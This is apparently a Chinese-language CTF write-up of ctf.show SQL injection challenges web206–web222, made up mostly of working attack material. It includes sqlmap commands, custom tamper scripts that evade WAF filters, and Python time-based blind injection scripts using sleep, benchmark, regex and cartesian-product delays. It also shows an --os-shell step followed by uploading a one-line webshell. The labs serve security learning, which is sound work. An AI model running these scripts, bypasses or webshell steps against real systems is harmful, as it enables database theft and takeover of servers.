sqlmap.py -u "http://d531f359-f004-4421-b15c-7c0fd7ec6b24.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://d531f359-f004-4421-b15c-7c0fd7ec6b24.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1-D ctfshow_web -Tctfshow_flaxc -C flagv --dump
```
## web207
> - tamper的初体验,看到过滤了空格
遇到这种情况怎么办?sqlmap提供了tamper脚本用于应对此种情况,tamper的出现是为了引入用户自定义的脚本来修改payload以达到绕过waf的目的。sqlmap自带的tamper脚本文件都在sqlmap的tamper文件夹下
```sql
举例如下tamper脚本:
apostrophemask.py 用utf8代替引号
equaltolike.py MSSQL * SQLite中like 代替等号
greatest.py MySQL中绕过过滤’>’ ,用GREATEST替换大于号
space2hash.py 空格替换为#号 随机字符串 以及换行符
space2comment.py 用/**/代替空格
apostrophenullencode.py MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号
halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py MySQL中空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.p Microsoft Access在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤
space2mssqlblank.py mssql空格替换为其它空符号
base64encode.py 用base64编码
space2mssqlhash.py mssql查询中替换空格
modsecurityversioned.py mysql中过滤空格,包含完整的查询版本注释
space2mysqlblank.py mysql中空格替换其它空白符号
between.py MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>)
space2mysqldash.py MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py 围绕SQL关键字添加多个空格
space2plus.py 用+替换空格
bluecoat.py MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代
space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾
chardoubleencode.py 双url编码(不处理以编码的)
unionalltounion.py 替换UNION ALL SELECT UNION SELECT
charencode.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;
randomcase.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写
unmagicquotes.py 宽字符绕过 GPC addslashes
randomcomments.py 用/**/分割sql关键字
charunicodeencode.py ASP,ASP.NET中字符串 unicode 编码
securesphere.py 追加特制的字符串
versionedmorekeywords.py MySQL >= 5.1.13注释绕过
halfversionedmorekeywords.py MySQL < 5.1中关键字前加注释
```
```sql
sqlmap.py -u "http://a83c7e70-64d2-4dab-9232-8c5080415bd1.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://a83c7e70-64d2-4dab-9232-8c5080415bd1.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=mycomment -D ctfshow_web -T ctfshow_flaxca --dump
```
根据原本的space2comment仿写了一个,将注释换成了`0x09`
```python
#!/usr/bin/env python
"""
Author:孤桜懶契
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("By孤桜懶契-空格替换制表符0x09")
def tamper(payload, **kwargs):
payload = space2comment(payload)
return payload
def space2comment(payload):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload.isspace():
firstspace = True
retVal += chr(0x09)
continue
elif payload == '\'':
quote = not quote
elif payload == '"':
doublequote = not doublequote
elif payload == " " and not doublequote and not quote:
retVal += chr(0x09)
continue
retVal += payload
return retVal
```
## web208
```sql
//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
function waf($str){
return preg_match('/ /', $str);
}
```
> - 只过滤了小写的select,sqlmap自己就会跑大写的
```sql
sqlmap.py -u "http://90811f8e-b2c5-4181-ac8a-2752c4d91c40.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://90811f8e-b2c5-4181-ac8a-2752c4d91c40.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=mycomment -D ctfshow_web -T ctfshow_flaxcac --dump
```
## web209
```sql
//对传入的参数进行了过滤
function waf($str){
//TODO 未完工
return preg_match('/ |\*|\=/', $str);
}
```
**多过滤了*号和=号,我们在上面的脚本多加一个匹配=号换like**
```
sqlmap.py -u "http://e83f1efc-354e-42c0-8c2e-ca9eafd2f81d.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://e83f1efc-354e-42c0-8c2e-ca9eafd2f81d.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=mycomment-D ctfshow_web -T ctfshow_flav --dump
```
```python
#!/usr/bin/env python
"""
Author:孤桜懶契
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("By孤桜懶契-空格替换制表符0x09,=号换like")
def tamper(payload, **kwargs):
payload = space2comment(payload)
return payload
def space2comment(payload):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload.isspace():
firstspace = True
retVal += chr(0x09)
continue
elif payload == '\'':
quote = not quote
elif payload == '"':
doublequote = not doublequote
elif payload == '=':
retVal += chr(0x09) + 'like' + chr(0x09)
continue
elif payload == "*":
retVal += chr(0x31)
continue
elif payload == " " and not doublequote and not quote:
retVal += chr(0x09)
continue
retVal += payload
return retVal
```
## web210
```
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
```
> - **先对字符串进行64解码,然后再反转字符,再套一层,我们写个相反就的行了**
```python
#!/usr/bin/env python
"""
Author:孤桜懶契
"""
import base64
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("By孤桜懶契-base编码两次-反转两次")
def tamper(payload, **kwargs):
payload = encode(payload)
return payload
def encode(payload):
retVal = payload
if payload:
retVal = retVal.replace(" ",chr(0x09))
retVal = retVal.encode()
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal.decode()
return retVal
```
payload
```
sqlmap.py -u "http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my
```
## web211
> - 和上题一样,过滤了空格号,不影响,我上个代码中写了替换空格为0x09也就是制表符
```sql
sqlmap.py -u "http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my -D ctfshow_web -T ctfshow_flavia --dump
```
## web212
> - 和上题一样过滤多加了个*不影响我们
**payload**
```
sqlmap.py -u "http://2b123cfd-31cd-465e-b7cb-1e1470122ae4.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://2b123cfd-31cd-465e-b7cb-1e1470122ae4.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my-T ctfshow_web -Tctfshow_flavis --dump
```
## web213
> - 这题需要getshell,因为过滤的和上题一样,就用我那个过滤脚本
```python
#!/usr/bin/env python
"""
Author:孤桜懶契
"""
import base64
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("By孤桜懶契-base编码两次-反转两次")
def tamper(payload, **kwargs):
payload = encode(payload)
return payload
def encode(payload):
retVal = payload
if payload:
retVal = retVal.replace(" ",chr(0x09))
retVal = retVal.encode()
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal[::-1]
retVal = base64.b64encode(retVal)
retVal = retVal.decode()
return retVal
```
**然后接着我们进行getshell上传一个上传点**
```sql
http://6309ef18-4721-4f5c-919d-bf47c71c749e.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://6309ef18-4721-4f5c-919d-bf47c71c749e.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my --os-shell
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210731164027857.png)
**上传一句话木马,蚁剑连接**
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210731164139622.png)
**在根目录下有flag**
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210731164205840.png)
## web214##
> - 时间盲注,直接脚本跑
```python
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import time
url = "http://5eb465ee-6eeb-4508-9fea-5496e3ad2a8f.challenge.ctf.show:8080/api/"
str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,,"
flag = ""
#payload = "if(substr(database(),{},1)='{}',sleep(3),0)"
#payload = "if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0)"
#payload = "if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagx'),{},1)='{}',sleep(5),0)"
payload = "if(substr((select group_concat(flaga) from ctfshow_flagx),{},1)='{}',sleep(5),0)"
n = 0
for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(i,j),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
print(end - start)
if end - start > 4.9 and end - start < 6.9:
flag += j
n += 1
print(' 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print(' flag is {}'.format(flag))
exit()
break
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210731173410636.png)
## web215
> - 题目提示说加了单引号,我们就闭合掉,改一下上面的代码,继续跑
```python
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import time
url = "http://fed15780-e37b-48e2-8e96-86d984f46b94.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#查数据库payload = "1' or if(substr(database(),{},1)='{}',sleep(3),0) #"
#查表payload = "1' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(3),0) #"
#查字段payload = "1' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxc'),{},1)='{}',sleep(3),0) #"
payload = "1' or if(substr((select group_concat(flagaa) from ctfshow_flagxc),{},1)='{}',sleep(3),0) #"
#payload = "if(substr((select group_concat(flaga) from ctfshow_flagx),{},1)='{}',sleep(5),0)"
n = 0
for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(i,j),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
if end - start > 2.9 and end - start < 4.9:
flag += j
n += 1
print(' 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print(' flag is {}'.format(flag))
exit()
break
```
## web216
```
where id = from_base64($id);
```
> - 加了个base64解密,所以我们用“MQ==”-->1 所以就会算是true,这题没单引号,所以改一下上一题代码。
```python
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import time
url = "http://83e21d02-6e3a-4c01-9016-79367bdcb966.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#'MQ==' or if(1=1,sleep(5),0)
#payload = "'MQ==' or if(substr(database(),{},1)='{}',sleep(5),0) "
#payload = "'MQ==' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(5),0) "
#payload = "'MQ==' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxcc'),{},1)='{}',sleep(5),0) "
payload = "'MQ==' or if(substr((select group_concat(flagaac) from ctfshow_flagxcc),{},1)='{}',sleep(5),0) "
n = 0
for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(i,j),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
if end - start > 4.9 and end - start < 6.9:
flag += j
n += 1
print(' 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print(' flag is {}'.format(flag))
exit()
break
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210731182828100.png)
## web217
```
//屏蔽危险分子
function waf($str){
return preg_match('/sleep/i',$str);
}
```
> - **过滤了sleep,可以换一个函数benchmark(6666666,sha(1))**
```sql
benchmark(6666666,sha(1))
第一个参数指的是执行次数、第二参数指的是执行语句
```
**将上一个payload改一下,跑一下就出来了,因为是执行次数来确定延时时间,所以也跟你家网速波动有关系,适当调试,我控制在一个1.4ms到4.9ms,应该能保证普通网速的,如果你网速超快,适当调整**
```sql
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import time
url = "http://fe186d5a-2385-43fd-8d4a-d557cc25b038.challenge.ctf.show:8080//api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#1 or if(substr(database(),{},1)='{}',benchmark(6666666,sha(1)),0)
#payload = "1 or if(substr(database(),{},1)='{}',benchmark(6666666,sha(1)),0)"
#payload = "1) and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',benchmark(5000000,sha(1)),0) #"
#payload = "1) and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxccb'),{},1)='{}',benchmark(5000000,sha(1)),0) #"
payload = "1) and if(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{},1)='{}',benchmark(5000000,sha(1)),0) #"
n = 0
for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(i,j),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
# print(end-start)
if end - start > 1.4 and end - start < 4.9:
flag += j
n += 1
print(' 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print(' flag is {}'.format(flag))
exit()
break
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210731193548774.png)
## web218
> - 这题过滤了benchmark,不过还有RLIKE REGEXP正则匹配
```sql
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
正则语法:
. : 匹配任意单个字符
* : 匹配0个或多个前一个得到的字符
[] : 匹配任意一个[]内的字符,*可匹配空串、a、b、或者由任意个a和b组成的字符串。
^ : 匹配开头,如^s匹配以s或者S开头的字符串。
$ : 匹配结尾,如s$匹配以s结尾的字符串。
{n} : 匹配前一个字符反复n次。
RPAD(str,len,padstr)
用字符串 padstr对 str进行右边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len',那么它将被截除到 len个字符。
mysql> SELECT RPAD('hi',5,'?'); -> 'hi???'
repeat(str,times)复制字符串times次
```
所以我们可以利用这个来进行构造延时函数
```
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
```
以上代码预估等于`sleep(5)`效果,具体根据网速和性能判断,利用此性质写将上面的代码更改一下,跑flag
```python
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import time
bypass="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'"
url = "http://4f04cb91-f6ed-43ce-bc4d-539d9c5b2a7b.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#1) andif(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',( concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),0)#
#求表payload = "1) andif(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',({}),0)#"
#payload = "1) andif(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxc'),{},1)='{}',({}),0)#"
payload = "1) andif(substr((select group_concat(flagaac) from ctfshow_flagxc),{},1)='{}',({}),0)#"
n = 0
for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(i,j,bypass),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
if end - start > 0.4 and end - start < 1:
flag += j
n += 1
print(' 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print(' flag is {}'.format(flag))
exit()
break
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210731232314453.png)
## web219##
```
//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark|rlike/i',$str);
}
```
> - **这题吧RLIKE给禁了,我发现把RLIKE换成LIke一样可以,继续上把代码改一下,不过需要注意跟你家网速有关,网速好,一次flag就对,不好就多对比几下**
```python
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/31
# blog: gylq.gitee.io
import requests
import time
bypass="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) LIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'"
url = "http://ea12a2f3-655e-44f2-b249-a95701399f73.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#1) andif(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',( concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),0)#
#payload = "1) andif(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',({}),0)#"
#payload = "1) andif(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxca'),{},1)='{}',({}),0)#"
payload = "1) andif(substr((select group_concat(flagaabc) from ctfshow_flagxca),{},1)='{}',({}),0)#"
n = 0
for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(i,j,bypass),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
print(end - start)
if end - start > 0.22 and end - start < 0.5:
flag += j
n += 1
print(' 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print(' flag is {}'.format(flag))
exit()
break
#ctfshow{92286539-ff05-4292-bcbf-7ff6fa6e31ab}
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210731235226222.png)
第二种思路,鉴于我发现我上面的方法,flag需要多跑几次,而且方法重样,所以想多写一个其他的绕过方法,**笛卡尔积时间延时法**
```sql
笛卡尔积(因为连接表是一个很耗时的操作)
AxB=A和B中每个元素的组合所组成的集合,就是连接表
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
select * from table_name A, table_name B
select * from table_name A, table_name B,table_name C
select count(*) from table_name A, table_name B,table_name C表可以是同一张表
```
**也就是换个bypass也而已,跑起来,这次成功率提高了很多,基本一次能跑成功**
```python
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
import time
bypass="select count(*) from information_schema.schemata a, information_schema.tables b, information_schema.tables c, information_schema.schemata d, information_schema.schemata e"
url = "http://ea12a2f3-655e-44f2-b249-a95701399f73.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#1) andif(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',( concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'),0)#
#payload = "1) andif(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',({}),0)#"
#payload = "1) andif(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxca'),{},1)='{}',({}),0)#"
payload = "1) andif(substr((select group_concat(flagaabc) from ctfshow_flagxca),{},1)='{}',({}),0)#"
n = 0
for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(i,j,bypass),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
print(end - start)
if end - start > 1.5 and end - start < 5:
flag += j
n += 1
print(' 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print(' flag is {}'.format(flag))
exit()
break
#ctfshow{92286539-ff05-4292-bcbf-7ff6fa6e31ab}
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210801002919738.png)
## web220
> - 和布尔盲注一样,过滤substr,但是还有正则,或者left都可以,我们这里用正则写一个脚本,因为还过滤了concat所以不能用group_concat改用limit
```python
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
import time
bypass="select count(*) from information_schema.schemata a, information_schema.tables b, information_schema.tables c, information_schema.schemata d, information_schema.schemata e, information_schema.schemata f"
url = "http://d82b1a0b-aba4-4fed-aa83-62d59d7df4ee.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#1) and if((database())regexp('^ctfshow'),(select count(*) from information_schema.schemata a, information_schema.tables b, information_schema.tables c, information_schema.schemata d, information_schema.schemata e, information_schema.schemata f),0)#
#payload = "1) and if((database())regexp('^{}'),({}),0)#"
#payload = "1) and if((select table_name from information_schema.tables where table_schema=database() limit 0,1)regexp('^{}'),({}),0)#"
#payload = "1) and if((select column_name from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxcac' limit 1,1)regexp('^{}'),({}),0)#"
payload = "1) and if((select flagaabcc from ctfshow_flagxcac limit 0,1)regexp('^{}'),({}),0)#"
n = 0
for i in range(0, 666):
for j in str:
data = {
"ip": payload.format(flag + j,bypass),
"debug": '0'
}
start = time.time()
res = requests.post(url, data)
end = time.time()
if end - start > 3 and end - start < 5:
flag += j
n += 1
print(' 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print(' flag is {}'.format(flag))
exit()
break
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210801011111531.png)
## web221
> - 考点是:MySQL利用procedure analyse()函数优化表结构
> limit后面能跟的也只有这个了似乎
```sql
# http://196cf3fd-f920-4018-a714-662ad61571e9.chall.ctf.show/api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2)
可以参考
# https://www.jb51.net/article/99980.htm
```
## web222
```sql
//分页查询
$sql = select * from ctfshow_user group by $username;
```
> - **不懂group by建议看一下这一篇关于group报错注入https://www.cnblogs.com/02SWD/p/CTF-sql-group_by.html,可以理解一下,因为group by后面只能跟字段和字符串,所以我们构造字符串,利用`concat(sleep(0.10),1)`可以成功执行sleep()函数,我们再利用if来条件判断,就可以实现时间盲注,写一个脚本跑一波**
```python
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/1
# blog: gylq.gitee.io
import requests
import time
url = "http://9a446c1a-4acd-4873-a290-53b36046a7b9.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#-------------------------------------------------------------------------------------------------------------------------------------------------------------
#查表
# sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#查字段
# sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'"
#查flag
sql= "select flagaabc from ctfshow_flaga"
#-------------------------------------------------------------------------------------------------------------------------------------------------------------
payload = "concat(if(substr(({}),{},1)='{}',sleep(0.10),0),1)"
#concat(if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',sleep(0.10),0),1)
n = 0
for i in range(0, 666):
for j in str:
params = {
'u' : payload.format(sql,i,j)
}
start = time.time()
res = requests.get(url = url, params = params)
end = time.time()
if end - start > 2 and end - start < 3:
flag += j
n += 1
print(' 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print(' flag is {}'.format(flag))
exit()
break
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210801082210482.png)
# 由于题目过多
> ## sql注入篇 分析的很好,,文章写得精细 虽然看不懂,但是很厉害
tql,师傅厉害 盲注比较折腾 学到了,确实盲注借助工具比较快 论防注入的重要性 谢谢分享,挺详细的 长篇好文